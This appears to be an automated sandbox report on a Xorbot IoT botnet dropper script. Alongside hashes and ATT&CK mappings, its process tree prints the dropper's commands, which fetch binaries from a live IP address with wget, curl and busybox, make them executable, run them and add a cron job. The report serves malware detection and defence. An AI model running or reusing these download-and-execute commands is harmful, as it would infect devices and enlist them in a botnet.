xorbot | 9a173a8b658d6508f3c3962b85a500820a041f7000f4315a79fa2196a4c5570f

Analysis

max time kernel
150s
max time network
153s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
03-12-2024 20:29

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General

Target

bins.sh
Size

10KB
MD5

62abe0c6af45fcf3edaaa84cce6a0f92
SHA1

cb4406c75643402b38f5a45e3149b9e44ed0969b
SHA256

9a173a8b658d6508f3c3962b85a500820a041f7000f4315a79fa2196a4c5570f
SHA512

4051c2c6e2bec3080062166847a642f5cfb6ae726fc7c23c6454ea0445e006ad92b4ee628f960a53f9145c7f9d4f46f36101218054988ec315766df5aec608b7
SSDEEP

192:iK+m/fiFKpR5wsYdPYpfXh0AYRfXh0AxpR5wsNK+m/fIK:GKpR5wsYdPYARpR5wsY

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 2 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral4/files/fstream-1.dat	family_xorbot
behavioral4/files/fstream-3.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (1381) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmodchmod

pid	Process
721	chmod
728	chmod
747	chmod

Executes dropped EXE 3 IoCs

Processes:

tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQDBaGIJP4NBCiyqt8s6ZUhb7RS4zFOfSlStloi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n

ioc	pid	Process
/tmp/tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ	722	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
/tmp/DBaGIJP4NBCiyqt8s6ZUhb7RS4zFOfSlSt	729	DBaGIJP4NBCiyqt8s6ZUhb7RS4zFOfSlSt
/tmp/loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n	748	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n

Renames itself 1 IoCs

Processes:

loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n

pid	Process
749	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.DGeOEU	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n

description	ioc	Process
File opened for reading	/proc/392/cmdline	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
File opened for reading	/proc/766/cmdline	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
File opened for reading	/proc/789/cmdline	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
File opened for reading	/proc/958/cmdline	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
File opened for reading	/proc/959/cmdline	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
File opened for reading	/proc/1045/cmdline	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
File opened for reading	/proc/1070/cmdline	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
File opened for reading	/proc/324/cmdline	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
File opened for reading	/proc/787/cmdline	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
File opened for reading	/proc/811/cmdline	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
File opened for reading	/proc/892/cmdline	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
File opened for reading	/proc/949/cmdline	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
File opened for reading	/proc/8/cmdline	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
File opened for reading	/proc/776/cmdline	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
File opened for reading	/proc/806/cmdline	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
File opened for reading	/proc/833/cmdline	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
File opened for reading	/proc/842/cmdline	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
File opened for reading	/proc/927/cmdline	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
File opened for reading	/proc/939/cmdline	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
File opened for reading	/proc/1037/cmdline	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
File opened for reading	/proc/944/cmdline	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
File opened for reading	/proc/9/cmdline	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
File opened for reading	/proc/10/cmdline	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
File opened for reading	/proc/13/cmdline	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
File opened for reading	/proc/19/cmdline	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
File opened for reading	/proc/798/cmdline	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
File opened for reading	/proc/825/cmdline	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
File opened for reading	/proc/840/cmdline	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
File opened for reading	/proc/981/cmdline	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
File opened for reading	/proc/983/cmdline	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
File opened for reading	/proc/1067/cmdline	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
File opened for reading	/proc/1048/cmdline	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
File opened for reading	/proc/817/cmdline	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
File opened for reading	/proc/919/cmdline	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
File opened for reading	/proc/930/cmdline	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
File opened for reading	/proc/966/cmdline	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
File opened for reading	/proc/975/cmdline	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
File opened for reading	/proc/1007/cmdline	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
File opened for reading	/proc/1046/cmdline	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
File opened for reading	/proc/819/cmdline	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
File opened for reading	/proc/868/cmdline	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
File opened for reading	/proc/883/cmdline	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
File opened for reading	/proc/942/cmdline	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
File opened for reading	/proc/1005/cmdline	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
File opened for reading	/proc/1022/cmdline	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
File opened for reading	/proc/14/cmdline	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
File opened for reading	/proc/388/cmdline	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
File opened for reading	/proc/784/cmdline	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
File opened for reading	/proc/790/cmdline	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
File opened for reading	/proc/802/cmdline	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
File opened for reading	/proc/823/cmdline	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
File opened for reading	/proc/937/cmdline	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
File opened for reading	/proc/687/cmdline	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
File opened for reading	/proc/848/cmdline	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
File opened for reading	/proc/867/cmdline	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
File opened for reading	/proc/969/cmdline	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
File opened for reading	/proc/1018/cmdline	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
File opened for reading	/proc/1060/cmdline	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
File opened for reading	/proc/1071/cmdline	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
File opened for reading	/proc/3/cmdline	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
File opened for reading	/proc/71/cmdline	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
File opened for reading	/proc/762/cmdline	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
File opened for reading	/proc/837/cmdline	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
File opened for reading	/proc/82/cmdline	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n

System Network Configuration Discovery 1 TTPs 5 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

Processes:

rmwgetcurlbusyboxloi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n

pid	Process
758	rm
732	wget
733	curl
743	busybox
748	loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n

Writes file to tmp directory 9 IoCs

Malware often drops required files in the /tmp directory.

Processes:

busyboxwgetcurlcurlbusyboxbusyboxwgetcurlwget

description	ioc	Process
File opened for modification	/tmp/tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ	busybox
File opened for modification	/tmp/loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n	wget
File opened for modification	/tmp/loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n	curl
File opened for modification	/tmp/DBaGIJP4NBCiyqt8s6ZUhb7RS4zFOfSlSt	curl
File opened for modification	/tmp/DBaGIJP4NBCiyqt8s6ZUhb7RS4zFOfSlSt	busybox
File opened for modification	/tmp/loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n	busybox
File opened for modification	/tmp/tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ	wget
File opened for modification	/tmp/tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ	curl
File opened for modification	/tmp/DBaGIJP4NBCiyqt8s6ZUhb7RS4zFOfSlSt	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:690
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:695
- /usr/bin/wget
  wget http://216.126.231.240/bins/tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
  2⤵
  - Writes file to tmp directory
  PID:696
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
  2⤵
  - Writes file to tmp directory
  PID:711
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
  2⤵
  - Writes file to tmp directory
  PID:719
- /bin/chmod
  chmod 777 tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
  2⤵
  - File and Directory Permissions Modification
  PID:721
- /tmp/tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
  ./tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
  2⤵
  - Executes dropped EXE
  PID:722
- /bin/rm
  rm tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
  2⤵
  PID:724
- /usr/bin/wget
  wget http://216.126.231.240/bins/DBaGIJP4NBCiyqt8s6ZUhb7RS4zFOfSlSt
  2⤵
  - Writes file to tmp directory
  PID:725
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/DBaGIJP4NBCiyqt8s6ZUhb7RS4zFOfSlSt
  2⤵
  - Writes file to tmp directory
  PID:726
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/DBaGIJP4NBCiyqt8s6ZUhb7RS4zFOfSlSt
  2⤵
  - Writes file to tmp directory
  PID:727
- /bin/chmod
  chmod 777 DBaGIJP4NBCiyqt8s6ZUhb7RS4zFOfSlSt
  2⤵
  - File and Directory Permissions Modification
  PID:728
- /tmp/DBaGIJP4NBCiyqt8s6ZUhb7RS4zFOfSlSt
  ./DBaGIJP4NBCiyqt8s6ZUhb7RS4zFOfSlSt
  2⤵
  - Executes dropped EXE
  PID:729
- /bin/rm
  rm DBaGIJP4NBCiyqt8s6ZUhb7RS4zFOfSlSt
  2⤵
  PID:731
- /usr/bin/wget
  wget http://216.126.231.240/bins/loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:732
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:733
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:743
- /bin/chmod
  chmod 777 loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
  2⤵
  - File and Directory Permissions Modification
  PID:747
- /tmp/loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
  ./loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:748
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:750
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:752
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:754
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:755
- /bin/rm
  rm loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n
  2⤵
  - System Network Configuration Discovery
  PID:758
- /usr/bin/wget
  wget http://216.126.231.240/bins/s1ChvygLNpwSFxlQDfATqkVE8Gu1MBUnbD
  2⤵
  PID:762
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/s1ChvygLNpwSFxlQDfATqkVE8Gu1MBUnbD
  2⤵
  PID:846

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/DBaGIJP4NBCiyqt8s6ZUhb7RS4zFOfSlSt

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/tmp/loi6EXv0HKw5Xgtx3i6AZIPzLEcTmpM55n

Filesize
151KB

MD5
6c583043d91c55aa470c08c87058e917

SHA1
abf65a5b9bba69980278ad09356e53de8bb89439

SHA256
2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

SHA512
82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

Download Submit
/tmp/tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/var/spool/cron/crontabs/tmp.DGeOEU

Filesize
210B

MD5
c00336ea7b54b7a499af6f5734d6ee47

SHA1
0daa34441849eb7c965b9b897ca496c21bcf083d

SHA256
81b053653178b7dec98462a532c1549c0b75e15cdcd10aa6d04dd07912d925b7

SHA512
4d7f020baf42056cd741087547cc1b20fa934d58cc14dd3d95ab45547618b567f1e252ee49a12b248cd0b0e4d171efe3b22c0834e4c8c67c77c7095dd124a4c4

Download Submit